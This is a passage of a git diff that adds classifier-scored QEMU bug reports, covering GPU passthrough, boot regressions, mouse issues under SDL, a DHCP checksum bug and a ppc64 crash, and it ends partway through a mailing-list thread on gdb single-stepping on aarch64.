libvirt-daemon-system virtinst libvirt-clients and bridge-utils. +1. Create a Windows vm with virt-manager +1. Insert discrete GPU on a secondary pcie slot. +1. Add `intel_iommu=on iommu=pt vfio-pci.ids=10de:17c8,10de:0fb0` to the GRUB kernel parameters. +1. Add `options vfio-pci ids=10de:17c8,10de:0fb0` and `softdep nvidia pre: vfio-pci` to `/etc/modprobe.d/vfio.conf`. +1. Update initrmfs image. +1. Add pcie hardware on virt-manager. +1. Install virtio and nvidia drivers on guest. +Additional information: +I'm using an Nvidia gtx 980Ti on a secondary slot for the guest. +The first slot has an rtx 4090 used by the host. + +``` +OS: Linux Mint 22.1 x86_64 +Host: MS-7E07 2.0 +Kernel: 6.8.0-51-generic +Shell: bash 5.2.21 +Resolution: 3840x2160, 3840x2160 +DE: Cinnamon 6.4.8 +WM: Mutter (Muffin) +Terminal: gnome-terminal +CPU: Intel i9-14900K (32) @ 5.700GHz +GPU: NVIDIA GeForce GTX 980 Ti +GPU: NVIDIA GeForce RTX 4090 +GPU: Intel Raptor Lake-S GT1 [UHD Graphics 770] +Memory: 73717MiB / 96317MiB +``` + +[vWin.xml](/uploads/3fe8133f67577f8724b060908b390c32/vWin.xml) +[vWin.log](/uploads/efa029460a62b62cbcff464af7cdb72a/vWin.log) + diff --git a/results/classifier/108/graphic/2931 b/results/classifier/108/graphic/2931 new file mode 100644 index 000000000..27ac15344 --- /dev/null +++ b/results/classifier/108/graphic/2931 @@ -0,0 +1,41 @@ +graphic: 0.963 +semantic: 0.954 +permissions: 0.947 +debug: 0.943 +performance: 0.943 +other: 0.930 +device: 0.921 +PID: 0.919 +socket: 0.888 +vnc: 0.876 +network: 0.865 +files: 0.849 +KVM: 0.825 +boot: 0.815 + +riscv: satp invalid while kvm set to cpu host +Description of problem: +After boot, no "mmu-type" in dtb +``` + cpu@0 { + + phandle = <0x7>; + device_type = "cpu"; + reg = <0x0>; + status = "okay"; + compatible = "riscv"; + riscv,isa-extensions = "i", "m", "a", "f", "d", "c", "zicntr", "zicsr", "zifencei", "zi +bb"; + riscv,isa-base = "rv64i"; + riscv,isa = "rv64imafdc_zicntr_zicsr_zifencei_zihpm_zba_zbb"; + interrupt-controller { + + #interrupt-cells = <0x1>; + interrupt-controller; + compatible = "riscv,cpu-intc"; + phandle = <0x8>; + }; + }; +``` +Steps to reproduce: +1. boot any qemu with `-cpu host` diff --git a/results/classifier/108/graphic/2933 b/results/classifier/108/graphic/2933 new file mode 100644 index 000000000..583ce9bc1 --- /dev/null +++ b/results/classifier/108/graphic/2933 @@ -0,0 +1,37 @@ +graphic: 0.947 +boot: 0.802 +device: 0.694 +performance: 0.616 +debug: 0.616 +socket: 0.577 +files: 0.570 +semantic: 0.540 +PID: 0.514 +vnc: 0.471 +network: 0.443 +permissions: 0.326 +KVM: 0.241 +other: 0.102 + +After updating QEMU to 10.0, XNU kernel of OS X 10.8 throws kernel panic (type=0 divide error) +Description of problem: +Before updating to QEMU 10.0, my OS X 10.8 installation has worked pretty clear, but after QEMU update, XNU kernel now throws divide error during the boot. +Steps to reproduce: +1. Install OS X 10.8 on QEMU <10.0, for example 9.2.3. +2. Update QEMU to 10.0 version +3. Launch OS X +Additional information: +Screenshot of the issue: + + +OpenCore config (not changed before update, so above suspicion): +[config.plist](/uploads/4b80b60f9497e5ecd9237e4eeddcce8a/config.plist) + +Full OS X folder (without Installer.dmg): +[OS_X_10.8.zip](/uploads/1af6150869495a8f196e18d18127011b/OS_X_10.8.zip) + +How I've done Installer.dmg: +1. Go [here](https://updates.cdn-apple.com/2021/macos/031-0627-20210614-90D11F33-1A65-42DD-BBEA-E1D9F43A6B3F/InstallMacOSX.dmg) +2. `xar -xf` to .pkg +3. Show package contents to extracted .pkg +4. Here it is: InstallESD.dmg, which I've renamed to Installer.dmg diff --git a/results/classifier/108/graphic/2938 b/results/classifier/108/graphic/2938 new file mode 100644 index 000000000..424ef4fed --- /dev/null +++ b/results/classifier/108/graphic/2938 @@ -0,0 +1,26 @@ +graphic: 0.965 +device: 0.916 +boot: 0.907 +performance: 0.847 +PID: 0.765 +vnc: 0.710 +debug: 0.696 +network: 0.669 +socket: 0.665 +semantic: 0.664 +files: 0.568 +other: 0.377 +permissions: 0.368 +KVM: 0.077 + +10.0.0 HVF x86_64 regression: can't boot NetBSD 10.1 with -smp 2 +Description of problem: +Under 9.2.3, a NetBSD/amd64 10.1 guest with `-smp 2` booted and ran fine. + +Under 10.0.0, the same guest never finishes loading the kernel. It looks like it's retrying many times per second, possibly even reloading the NetBSD boot loader each time, though it's redrawing so fast I can't tell for sure. (I'll attempt to link to an asciinema capture shortly.) `-smp 1` lets the machine come up. + +For comparison, a NetBSD/aarch64 10.1 with `-smp 4` runs with `-accel hvf` under macOS/aarch64 15.4.1 just as well with 10.0.0 as it did with 9.2.3. +Steps to reproduce: +1. With x86 macOS host and NetBSD guest (possibly a wider range than the exact versions I'm currently using), attempt to boot NetBSD with `-smp 2` +Additional information: + diff --git a/results/classifier/108/graphic/2945 b/results/classifier/108/graphic/2945 new file mode 100644 index 000000000..b86a24a77 --- /dev/null +++ b/results/classifier/108/graphic/2945 @@ -0,0 +1,44 @@ +graphic: 0.942 +device: 0.915 +PID: 0.888 +performance: 0.852 +vnc: 0.835 +permissions: 0.834 +debug: 0.821 +boot: 0.806 +socket: 0.769 +semantic: 0.764 +files: 0.759 +network: 0.725 +other: 0.562 +KVM: 0.381 + +Commit da954d0e introduces a regression on sifive_unleashed when booting from SD card +Description of problem: +In U-Boot CI, we started to update from v8.2.0 to v9.2.3 and found that the sifive_unleashed target was failing to boot from SD card in our tests (we also test via SPI and this is fine). I have bisected the problem down to commit [da954d0e ("hw/sd/sdcard: Add spi_cmd_SEND_CSD/CID handlers (CMD9 & CMD10)")](https://gitlab.com/qemu-project/qemu/-/commit/da954d0e32444f122a41c24948d4d1c718bf66d4). + +When running QEMU we see the following output in the failure case as the only output: +``` +U-Boot SPL 2025.07-rc1-00033-gad60d9792896 (May 01 2025 - 17:08:34 +0000) +Trying to boot from MMC1 +spl: mmc init failed with error: -110 +Error: -110 +SPL: failed to boot from all boot devices +# +Steps to reproduce: +1. wget -O - https://github.com/pengutronix/genimage/releases/download/v14/genimage-14.tar.xz | tar -C /tmp -xJ ; cd /tmp/genimage-14 +2. ./configure && make -j$(nproc) +3. git clone https://source.denx.de/u-boot/u-boot.git; cd u-boot +4. wget -O - https://github.com/riscv-software-src/opensbi/releases/download/v1.3.1/opensbi-1.3.1-rv-bin.tar.xz | tar -C /tmp -xJ +5. export OPENSBI=/tmp/opensbi-1.3.1-rv-bin/share/opensbi/lp64/generic/firmware/fw_dynamic.bin +6. make O=/tmp/sifive_unleashed CROSS_COMPILE=riscv64-linux- sifive_unleashed_defconfig +7. make O=/tmp/sifive_unleashed CROSS_COMPILE=riscv64-linux- -sj$(nproc) +8. mkdir -p root +9. cp /tmp/sifive_unleashed/spl/u-boot-spl.bin . +10. cp /tmp/sifive_unleashed/u-boot.itb . +11. rm -rf tmp +12. genimage --inputpath . --config board/sifive/unleashed/genimage_sdcard.cfg +13. cp images/sdcard.img /tmp/sifive_unleashed/ +14. qemu-system-riscv64 -smp 5 -m 8G -nographic -M sifive_u,msel=11 -bios /tmp/sifive_unleashed/spl/u-boot-spl.bin -drive file=/tmp/sifive_unleashed/sdcard.img,format=raw,if=sd +Additional information: +The genimage tool is required for making the disk images used here. If building everything here is too much, I can provide the U-Boot binaries needed here out of band. diff --git a/results/classifier/108/graphic/2947 b/results/classifier/108/graphic/2947 new file mode 100644 index 000000000..d966bba8c --- /dev/null +++ b/results/classifier/108/graphic/2947 @@ -0,0 +1,25 @@ +graphic: 0.962 +device: 0.866 +semantic: 0.753 +performance: 0.718 +boot: 0.659 +network: 0.627 +PID: 0.624 +debug: 0.537 +permissions: 0.531 +other: 0.529 +vnc: 0.434 +files: 0.426 +socket: 0.262 +KVM: 0.046 + +Tablet-like mouse under Linux guest even if no -device usb-tablet is specified +Description of problem: +Arch Linux guest has absolute mouse tracking even when there is `-nodefaults` and no -device usb-tablet is provided. The guest does not have qemu guest agent installed. This is the unwanted behavior. The expected behavior is that it has a separate mouse pointer under guest, like with Windows guest. +Steps to reproduce: +1. Install guest operating system +2. Install gnome metapackage and enable GDM +3. Reboot +4. GDM has absolute mouse tracking and the mouse gets captured automatically, without having to click on the window or pressing Ctrl+Alt+G +Additional information: +[journalctl](/uploads/356952b8e2454c98e76ad82b700c518e/journalctl) diff --git a/results/classifier/108/graphic/2948 b/results/classifier/108/graphic/2948 new file mode 100644 index 000000000..bd09ecc59 --- /dev/null +++ b/results/classifier/108/graphic/2948 @@ -0,0 +1,28 @@ +graphic: 0.928 +performance: 0.919 +device: 0.914 +semantic: 0.755 +permissions: 0.671 +PID: 0.667 +debug: 0.633 +boot: 0.594 +network: 0.567 +files: 0.508 +vnc: 0.452 +other: 0.404 +socket: 0.365 +KVM: 0.101 + +-display sdl causes mice with relative movement to read garbage offsets +Description of problem: +`-device virtio-mouse` and `-device usb-mouse` (and probably other mice which send relative mouse movement data) are behaving incorrectly under linux guest and jitter a lot. In this specific case it only seems to happen with `-display sdl` as I could not reproduce this same issue with other of the following configurations: `-display gtk` and `-display spice-app` running with virt-viewer. +This behavior is not present when running a Windows guest with the same configuration using `-display sdl` + +Another weird side note: this behavior is less apparent when running `evtest` on the exact mouse device having issues. + + +Steps to reproduce: +1. Install guest operating system +2. Install gnome metapackage and enable GDM +3. Reboot +4. The mouse shows jittery motion on the GDM screen. diff --git a/results/classifier/108/graphic/2960 b/results/classifier/108/graphic/2960 new file mode 100644 index 000000000..6c450e6e3 --- /dev/null +++ b/results/classifier/108/graphic/2960 @@ -0,0 +1,25 @@ +graphic: 0.985 +device: 0.861 +performance: 0.820 +PID: 0.597 +socket: 0.484 +debug: 0.470 +vnc: 0.462 +boot: 0.444 +semantic: 0.399 +files: 0.216 +other: 0.179 +permissions: 0.176 +network: 0.152 +KVM: 0.112 + +Mouse doesn't work correctly with SDL display backend +Description of problem: +The mouse starts moving like crazy, up and down or left and right. +I tested it with -accel on and off, I make some test and seems to be the SDL display backed(GTK just crash before start execution of the vm). +Steps to reproduce: +1.Install Linux Mint 22.1 +2.Execute the command above. +3.Log in and the problems start. +Additional information: + diff --git a/results/classifier/108/graphic/2962 b/results/classifier/108/graphic/2962 new file mode 100644 index 000000000..d712cd49f --- /dev/null +++ b/results/classifier/108/graphic/2962 @@ -0,0 +1,37 @@ +graphic: 0.983 +device: 0.948 +boot: 0.936 +PID: 0.899 +files: 0.894 +network: 0.887 +performance: 0.848 +vnc: 0.797 +permissions: 0.794 +debug: 0.793 +socket: 0.779 +semantic: 0.664 +other: 0.618 +KVM: 0.608 + +DHCP UDP checksum workaround code appears to be broken +Description of problem: +I am running dnsmasq DHCP server in an lxc-container. It is using a VETH pair for the network. The VETH device on the host is in a bridge. I create a TAP device and place it in the bridge. When booting the guest, I notice that the DHCP OFFER has an invalid UDP checksum all the way through the bridge and into the guest. I am able to fix this by disabling checksum offload inside the container, or adding an nftables rule that zeros out the checksum, or by reverting commit 7987d2be5a8bc3a502f89ba8cf3ac3e09f64d1ce. +Steps to reproduce: +1. From a debian 12 host, `apt-get install lxc lxc-templates` +2. `ip link add brtest type bridge` +3. `ip link set brtest up` +4. Create a container: `lxc-create -n dhcp -t debian -- --package=dnsmasq` +5. Edit the lxc container file `/var/lib/lxc/dhcp/config` and make sure the link is properly set to `lxc.net.0.link = brtest`, the type is set to `veth`, and give it an IP `lxc.net.0.ipv4.address = 192.168.255.1/24` +6. Start the container: `lxc-start -n dhcp` +7. Attach to the container: `lxc-attach -n dhcp` +8. Stop dnsmasq and networking: `systemctl stop dnsmasq.service networking.service` +9. Run a DHCP server: `dnsmasq --dhcp-authoritative --dhcp-range=192.168.255.2,192.168.255.254,255.255.255.0,1h --dns-loop-detect` +10. Exit the container: `exit` +11. Download the linux mint 22.1 installer: https://linuxmint.com/edition.php?id=319 +12. Create a TAP device and throw it in the bridge: `ip tuntap add dev taptest mode tap` .. `ip link set dev taptest up master brtest` +13. Run qemu: `qemu-system-x86_64 -enable-kvm -smp 4,sockets=1,threads=1 -machine pc-q35-9.2,accel=kvm,kernel_irqchip=on -m 4096 -device virtio-net-pci,netdev=nic91 -netdev tap,id=nic91,ifname=taptest,script=no,downscript=no -cdrom linuxmint-22.1-cinnamon-64bit.iso` .. I run it with vnc as this is on a headless server. +14. Once the guest has booted, you can run a tcpdump on the NIC and see that the guest receives the DHCP offer, but the UDP checksum is bunk. +Additional information: +I was able to test reverting the commit 7987d2be5a8bc3a502f89ba8cf3ac3e09f64d1ce and that appears to function once again. + +{width=901 height=38} diff --git a/results/classifier/108/graphic/2966 b/results/classifier/108/graphic/2966 new file mode 100644 index 000000000..7ea7e9108 --- /dev/null +++ b/results/classifier/108/graphic/2966 @@ -0,0 +1,42 @@ +graphic: 0.983 +KVM: 0.981 +device: 0.861 +semantic: 0.769 +permissions: 0.748 +boot: 0.740 +PID: 0.737 +other: 0.638 +vnc: 0.582 +socket: 0.578 +performance: 0.560 +network: 0.544 +files: 0.514 +debug: 0.477 + +KVM: Failed to create TCE64 table for liobn 0x80000001 +Description of problem: +When rebooting the system we hit : + ``` + KVM: Failed to create TCE64 table for liobn 0x80000001 + qemu-system-ppc64: ../system/memory.c:2666: memory_region_add_subregion_common: Assertion `!subregion->container' failed. + Aborted (core dumped) + ``` +Steps to reproduce: +1. Start the machine +2. Reboot it + + ``` + curl -LO https://cloud.centos.org/centos/10-stream/ppc64le/images/CentOS-Stream-GenericCloud-10-20250512.0.ppc64le.qcow2 + export LIBGUESTFS_BACKEND=direct + virt-customize -v -a CentOS-Stream-GenericCloud-10-20250512.0.ppc64le.qcow2 --root-password password:centos + qemu-system-ppc64 --enable-kvm -m 4096 -smp 8 -hda CentOS-Stream-GenericCloud-10-20250512.0.ppc64le.qcow2 -vga none -nographic -device qemu-xhci + # once logged into it + systemctl reboot + [...] + KVM: Failed to create TCE64 table for liobn 0x80000001 + qemu-system-ppc64: ../system/memory.c:2666: memory_region_add_subregion_common: Assertion `!subregion->container' failed. + Aborted (core dumped) + ``` +Additional information: +The issue was already reported on ML https://lists.nongnu.org/archive/html/qemu-devel/2025-03/msg05137.html +I also hit that issue while building a CoreOS CentOS Stream 10 image https://github.com/openshift/os/issues/1818. I was able to validate that the commit https://github.com/torvalds/linux/commit/6aa989ab2bd0d37540c812b4270006ff794662e7 introduced the bug. diff --git a/results/classifier/108/graphic/2973 b/results/classifier/108/graphic/2973 new file mode 100644 index 000000000..a2d697bf2 --- /dev/null +++ b/results/classifier/108/graphic/2973 @@ -0,0 +1,78 @@ +graphic: 0.962 +device: 0.903 +debug: 0.900 +boot: 0.886 +performance: 0.863 +vnc: 0.691 +semantic: 0.677 +socket: 0.635 +PID: 0.623 +permissions: 0.498 +network: 0.445 +other: 0.395 +KVM: 0.380 +files: 0.344 + +ast2700a0-evb machine hangs in U-Boot when trying to determine the RAM size +Description of problem: +On a BE host, the ast2700a0-evb machine hangs in U-Boot when trying to determine the RAM size if the RAM size is set to a value other than 8 GB. +Steps to reproduce: +1. ./qemu-system-aarch64 -machine ast2700a0-evb -m 1g +2. +3. +Additional information: +On a BE host, if I run an ast2700a0-evb machine : + ``` + $ qemu-system-aarch64 -machine ast2700a0-evb ... + ... + U-Boot 2023.10-v00.05.06 (Mar 26 2025 - 05:59:26 +0000) + + SOC: AST2700-A0 + Model: AST2700 EVB + DRAM: 8 GiB (effective 0 Bytes) + ``` + +QEMU hangs. + +If the RAM size is defined to 8g + ``` + $ qemu-system-aarch64 -machine ast2700a0-evb -m 8g ... + ... + U-Boot 2023.10-v00.05.06 (Mar 26 2025 - 05:59:26 +0000) + + SOC: AST2700-A0 + Model: AST2700 EVB + DRAM: 8 GiB + aspeed_dp dp@12c0a000: aspeed_dp_probe(): Failed to access dp. version(0) + Core: 125 devices, 27 uclasses, devicetree: separate + ``` + +machine boots. + +Whereas, with an ast2700a1-evb machine : + ``` + $ qemu-system-aarch64 -machine ast2700a1-evb ... + ... + U-Boot 2023.10-v00.05.06 (Mar 26 2025 - 05:59:26 +0000) + + SOC: AST2700-A1 + Model: AST2700 EVB + DRAM: 1 GiB + aspeed_dp dp@12c0a000: aspeed_dp_probe(): Failed to access dp. version(0) + Core: 125 devices, 27 uclasses, devicetree: separate + ``` + +machine boots. + ``` + $ qemu-system-aarch64 -machine ast2700a1-evb -m 8g ... + ... + U-Boot 2023.10-v00.05.06 (Mar 26 2025 - 05:59:26 +0000) + + SOC: AST2700-A1 + Model: AST2700 EVB + DRAM: 8 GiB + aspeed_dp dp@12c0a000: aspeed_dp_probe(): Failed to access dp. version(0) + Core: 125 devices, 27 uclasses, devicetree: separate + ``` + +machine boots. diff --git a/results/classifier/108/graphic/2981 b/results/classifier/108/graphic/2981 new file mode 100644 index 000000000..4494ad210 --- /dev/null +++ b/results/classifier/108/graphic/2981 @@ -0,0 +1,40 @@ +graphic: 0.937 +debug: 0.854 +performance: 0.807 +device: 0.747 +semantic: 0.712 +PID: 0.441 +boot: 0.407 +files: 0.383 +other: 0.190 +permissions: 0.173 +network: 0.148 +vnc: 0.137 +socket: 0.065 +KVM: 0.003 + +Assert error with accel=hvf:tcg when hvf is unavailable +Description of problem: +Trying to start qemu with `-machine virt,accel=hvf:tcg` in a Mac OS guest under Mac OS host, both arm64. I expect it to try hvf (unavailable - nested virtualization not supported) and fallback to tcg. Documentation for accel option says "If there is more than one accelerator specified, the next one is used if the previous one fails to initialize." This works fine with kvm, but for hvf it crashes in some auxiliary function when trying it: + +``` +% qemu-system-aarch64 -machine virt,accel=hvf:tcg +qemu-system-aarch64: Error: ret = HV_UNSUPPORTED (0xfae9400f, at ../target/arm/hvf/hvf.c:949) +``` + +Stack trace +``` + * frame #0: 0x0000000193a18388 libsystem_kernel.dylib`__pthread_kill + 8 + frame #1: 0x0000000193a5188c libsystem_pthread.dylib`pthread_kill + 296 + frame #2: 0x000000019395ac60 libsystem_c.dylib`abort + 124 + frame #3: 0x00000001005ee7f4 qemu-system-aarch64`assert_hvf_ok_impl + 92 + frame #4: 0x000000010032a550 qemu-system-aarch64`hvf_arm_get_max_ipa_bit_size + 64 + frame #5: 0x0000000100334928 qemu-system-aarch64`virt_hvf_get_physical_address_range + 68 + frame #6: 0x00000001005ee9b8 qemu-system-aarch64`hvf_accel_init + 68 + frame #7: 0x00000001002ef8e4 qemu-system-aarch64`accel_init_machine + 92 + frame #8: 0x00000001002a6640 qemu-system-aarch64`do_configure_accelerator + 208 + frame #9: 0x0000000100782bdc qemu-system-aarch64`qemu_opts_foreach + 112 + frame #10: 0x00000001002a3180 qemu-system-aarch64`qemu_init + 11344 + frame #11: 0x00000001006ea76c qemu-system-aarch64`main + 36 + frame #12: 0x00000001936b2b4c dyld`start + 6000 +``` diff --git a/results/classifier/108/graphic/2987 b/results/classifier/108/graphic/2987 new file mode 100644 index 000000000..598738df8 --- /dev/null +++ b/results/classifier/108/graphic/2987 @@ -0,0 +1,22 @@ +graphic: 0.970 +debug: 0.953 +device: 0.944 +boot: 0.941 +network: 0.858 +vnc: 0.844 +performance: 0.840 +files: 0.821 +PID: 0.792 +semantic: 0.734 +socket: 0.719 +other: 0.653 +permissions: 0.635 +KVM: 0.412 + +QEMU TCG failed to boot Windows 98 Second Edition +Description of problem: +QEMU TCG failed at booting Windows 98 Second Edition 4.10.2222B. + +Bisected to commit e54ef98c8a80d16158bab4341d9a898701270528 +Additional information: + diff --git a/results/classifier/108/graphic/30680944 b/results/classifier/108/graphic/30680944 new file mode 100644 index 000000000..ef0848a9a --- /dev/null +++ b/results/classifier/108/graphic/30680944 @@ -0,0 +1,605 @@ +graphic: 0.965 +semantic: 0.953 +other: 0.944 +performance: 0.937 +debug: 0.936 +device: 0.935 +permissions: 0.933 +PID: 0.913 +socket: 0.864 +boot: 0.840 +files: 0.835 +vnc: 0.815 +network: 0.813 +KVM: 0.701 + +[BUG]QEMU jump into interrupt when single-stepping on aarch64 + +Dear, folks, + +I try to debug Linux kernel with QEMU in single-stepping mode on aarch64 +platform, +the added breakpoint hits but after I type `step`, the gdb always jumps into +interrupt. + +My env: + + gdb-10.2 + qemu-6.2.0 + host kernel: 5.10.84 + VM kernel: 5.10.84 + +The steps to reproduce: + # host console: run a VM with only one core, the import arg: <qemu:arg +value='-s'/> + # details can be found here: +https://www.redhat.com/en/blog/debugging-kernel-qemulibvirt +virsh create dev_core0.xml + + # run gdb client + gdb ./vmlinux + + # gdb client on host console + (gdb) dir +./usr/src/debug/kernel-5.10.84/linux-5.10.84-004.alpha.ali5000.alios7.aarch64 + (gdb) target remote localhost:1234 + (gdb) info b + Num Type Disp Enb Address What + 1 breakpoint keep y <MULTIPLE> + 1.1 y 0xffff800010361444 +mm/memory-failure.c:1318 + 1.2 y 0xffff800010361450 in memory_failure + at mm/memory-failure.c:1488 + (gdb) c + Continuing. + + # console in VM, use madvise to inject a hwposion at virtual address +vaddr, + # which will hit the b inmemory_failur: madvise(vaddr, pagesize, +MADV_HWPOISON); + # and the VM pause + ./run_madvise.c + + # gdb client on host console + (gdb) + Continuing. + Breakpoint 1, 0xffff800010361444 in memory_failure () at +mm/memory-failure.c:1318 + 1318 res = -EHWPOISON; + (gdb) n + vectors () at arch/arm64/kernel/entry.S:552 + 552 kernel_ventry 1, irq // IRQ +EL1h + (gdb) n + (gdb) n + (gdb) n + (gdb) n + gic_handle_irq (regs=0xffff8000147c3b80) at +drivers/irqchip/irq-gic-v3.c:721 + # after several step, I got the irqnr + (gdb) p irqnr + $5 = 8262 + +Sometimes, the irqnr is 27ï¼ which is used for arch_timer. + +I was wondering do you have any comments on this? And feedback are welcomed. + +Thank you. + +Best Regards. +Shuai + +On 4/6/22 09:30, Shuai Xue wrote: +Dear, folks, + +I try to debug Linux kernel with QEMU in single-stepping mode on aarch64 +platform, +the added breakpoint hits but after I type `step`, the gdb always jumps into +interrupt. + +My env: + + gdb-10.2 + qemu-6.2.0 + host kernel: 5.10.84 + VM kernel: 5.10.84 + +The steps to reproduce: + # host console: run a VM with only one core, the import arg: <qemu:arg +value='-s'/> + # details can be found here: +https://www.redhat.com/en/blog/debugging-kernel-qemulibvirt +virsh create dev_core0.xml + + # run gdb client + gdb ./vmlinux + + # gdb client on host console + (gdb) dir +./usr/src/debug/kernel-5.10.84/linux-5.10.84-004.alpha.ali5000.alios7.aarch64 + (gdb) target remote localhost:1234 + (gdb) info b + Num Type Disp Enb Address What + 1 breakpoint keep y <MULTIPLE> + 1.1 y 0xffff800010361444 +mm/memory-failure.c:1318 + 1.2 y 0xffff800010361450 in memory_failure + at mm/memory-failure.c:1488 + (gdb) c + Continuing. + + # console in VM, use madvise to inject a hwposion at virtual address +vaddr, + # which will hit the b inmemory_failur: madvise(vaddr, pagesize, +MADV_HWPOISON); + # and the VM pause + ./run_madvise.c + + # gdb client on host console + (gdb) + Continuing. + Breakpoint 1, 0xffff800010361444 in memory_failure () at +mm/memory-failure.c:1318 + 1318 res = -EHWPOISON; + (gdb) n + vectors () at arch/arm64/kernel/entry.S:552 + 552 kernel_ventry 1, irq // IRQ +EL1h +The 'n' command is not a single-step: use stepi, which will suppress interrupts. +Anyway, not a bug. + +r~ + +å¨ 2022/4/7 AM12:57, Richard Henderson åé: +> +On 4/6/22 09:30, Shuai Xue wrote: +> +> Dear, folks, +> +> +> +> I try to debug Linux kernel with QEMU in single-stepping mode on aarch64 +> +> platform, +> +> the added breakpoint hits but after I type `step`, the gdb always jumps into +> +> interrupt. +> +> +> +> My env: +> +> +> +>     gdb-10.2 +> +>     qemu-6.2.0 +> +>     host kernel: 5.10.84 +> +>     VM kernel: 5.10.84 +> +> +> +> The steps to reproduce: +> +>     # host console: run a VM with only one core, the import arg: <qemu:arg +> +> value='-s'/> +> +>     # details can be found here: +> +> +https://www.redhat.com/en/blog/debugging-kernel-qemulibvirt +> +>     virsh create dev_core0.xml +> +>     +> +>     # run gdb client +> +>     gdb ./vmlinux +> +> +> +>     # gdb client on host console +> +>     (gdb) dir +> +> ./usr/src/debug/kernel-5.10.84/linux-5.10.84-004.alpha.ali5000.alios7.aarch64 +> +>     (gdb) target remote localhost:1234 +> +>     (gdb) info b +> +>     Num    Type          Disp Enb Address           What +> +>     1      breakpoint    keep y  <MULTIPLE> +> +>     1.1                        y  0xffff800010361444 +> +> mm/memory-failure.c:1318 +> +>     1.2                        y  0xffff800010361450 in memory_failure +> +>                                                    at +> +> mm/memory-failure.c:1488 +> +>     (gdb) c +> +>     Continuing. +> +> +> +>     # console in VM, use madvise to inject a hwposion at virtual address +> +> vaddr, +> +>     # which will hit the b inmemory_failur: madvise(vaddr, pagesize, +> +> MADV_HWPOISON); +> +>     # and the VM pause +> +>     ./run_madvise.c +> +> +> +>     # gdb client on host console +> +>     (gdb) +> +>     Continuing. +> +>     Breakpoint 1, 0xffff800010361444 in memory_failure () at +> +> mm/memory-failure.c:1318 +> +>     1318                   res = -EHWPOISON; +> +>     (gdb) n +> +>     vectors () at arch/arm64/kernel/entry.S:552 +> +>     552            kernel_ventry  1, irq                         // IRQ +> +> EL1h +> +> +The 'n' command is not a single-step: use stepi, which will suppress +> +interrupts. +> +Anyway, not a bug. +> +> +r~ +Hi, Richard, + +Thank you for your quick reply, I also try `stepi`, but it does NOT work either. + + (gdb) c + Continuing. + + Breakpoint 1, memory_failure (pfn=1273982, flags=1) at +mm/memory-failure.c:1488 + 1488 { + (gdb) stepi + vectors () at arch/arm64/kernel/entry.S:552 + 552 kernel_ventry 1, irq // IRQ +EL1h + +According to QEMU doc[1]: the default single stepping behavior is step with the +IRQs +and timer service routines off. I checked the MASK bits used to control the +single +stepping IE on my machine as bellow: + + # gdb client on host (x86 plafrom) + (gdb) maintenance packet qqemu.sstepbits + sending: "qqemu.sstepbits" + received: "ENABLE=1,NOIRQ=2,NOTIMER=4" + +The sstep MASK looks as expected, but does not work as expected. + +I also try the same kernel and qemu version on X86 platform: +> +> gdb-10.2 +> +> qemu-6.2.0 +> +> host kernel: 5.10.84 +> +> VM kernel: 5.10.84 +The command `n` jumps to the next instruction. + + # gdb client on host (x86 plafrom) + (gdb) b memory-failure.c:1488 + Breakpoint 1, memory_failure (pfn=1128931, flags=1) at +mm/memory-failure.c:1488 + 1488 { + (gdb) n + 1497 if (!sysctl_memory_failure_recovery) + (gdb) stepi + 0xffffffff812efdbc 1497 if +(!sysctl_memory_failure_recovery) + (gdb) stepi + 0xffffffff812efdbe 1497 if +(!sysctl_memory_failure_recovery) + (gdb) n + 1500 p = pfn_to_online_page(pfn); + (gdb) l + 1496 + 1497 if (!sysctl_memory_failure_recovery) + 1498 panic("Memory failure on page %lx", pfn); + 1499 + 1500 p = pfn_to_online_page(pfn); + 1501 if (!p) { + +Best Regrades, +Shuai + + +[1] +https://github.com/qemu/qemu/blob/master/docs/system/gdb.rst + +å¨ 2022/4/7 PM12:10, Shuai Xue åé: +> +å¨ 2022/4/7 AM12:57, Richard Henderson åé: +> +> On 4/6/22 09:30, Shuai Xue wrote: +> +>> Dear, folks, +> +>> +> +>> I try to debug Linux kernel with QEMU in single-stepping mode on aarch64 +> +>> platform, +> +>> the added breakpoint hits but after I type `step`, the gdb always jumps +> +>> into interrupt. +> +>> +> +>> My env: +> +>> +> +>>     gdb-10.2 +> +>>     qemu-6.2.0 +> +>>     host kernel: 5.10.84 +> +>>     VM kernel: 5.10.84 +> +>> +> +>> The steps to reproduce: +> +>>     # host console: run a VM with only one core, the import arg: <qemu:arg +> +>> value='-s'/> +> +>>     # details can be found here: +> +>> +https://www.redhat.com/en/blog/debugging-kernel-qemulibvirt +> +>>     virsh create dev_core0.xml +> +>>     +> +>>     # run gdb client +> +>>     gdb ./vmlinux +> +>> +> +>>     # gdb client on host console +> +>>     (gdb) dir +> +>> ./usr/src/debug/kernel-5.10.84/linux-5.10.84-004.alpha.ali5000.alios7.aarch64 +> +>>     (gdb) target remote localhost:1234 +> +>>     (gdb) info b +> +>>     Num    Type          Disp Enb Address           What +> +>>     1      breakpoint    keep y  <MULTIPLE> +> +>>     1.1                        y  0xffff800010361444 +> +>> mm/memory-failure.c:1318 +> +>>     1.2                        y  0xffff800010361450 in memory_failure +> +>>                                                    at +> +>> mm/memory-failure.c:1488 +> +>>     (gdb) c +> +>>     Continuing. +> +>> +> +>>     # console in VM, use madvise to inject a hwposion at virtual address +> +>> vaddr, +> +>>     # which will hit the b inmemory_failur: madvise(vaddr, pagesize, +> +>> MADV_HWPOISON); +> +>>     # and the VM pause +> +>>     ./run_madvise.c +> +>> +> +>>     # gdb client on host console +> +>>     (gdb) +> +>>     Continuing. +> +>>     Breakpoint 1, 0xffff800010361444 in memory_failure () at +> +>> mm/memory-failure.c:1318 +> +>>     1318                   res = -EHWPOISON; +> +>>     (gdb) n +> +>>     vectors () at arch/arm64/kernel/entry.S:552 +> +>>     552            kernel_ventry  1, irq                         // IRQ +> +>> EL1h +> +> +> +> The 'n' command is not a single-step: use stepi, which will suppress +> +> interrupts. +> +> Anyway, not a bug. +> +> +> +> r~ +> +> +Hi, Richard, +> +> +Thank you for your quick reply, I also try `stepi`, but it does NOT work +> +either. +> +> +(gdb) c +> +Continuing. +> +> +Breakpoint 1, memory_failure (pfn=1273982, flags=1) at +> +mm/memory-failure.c:1488 +> +1488 { +> +(gdb) stepi +> +vectors () at arch/arm64/kernel/entry.S:552 +> +552 kernel_ventry 1, irq // IRQ +> +EL1h +> +> +According to QEMU doc[1]: the default single stepping behavior is step with +> +the IRQs +> +and timer service routines off. I checked the MASK bits used to control the +> +single +> +stepping IE on my machine as bellow: +> +> +# gdb client on host (x86 plafrom) +> +(gdb) maintenance packet qqemu.sstepbits +> +sending: 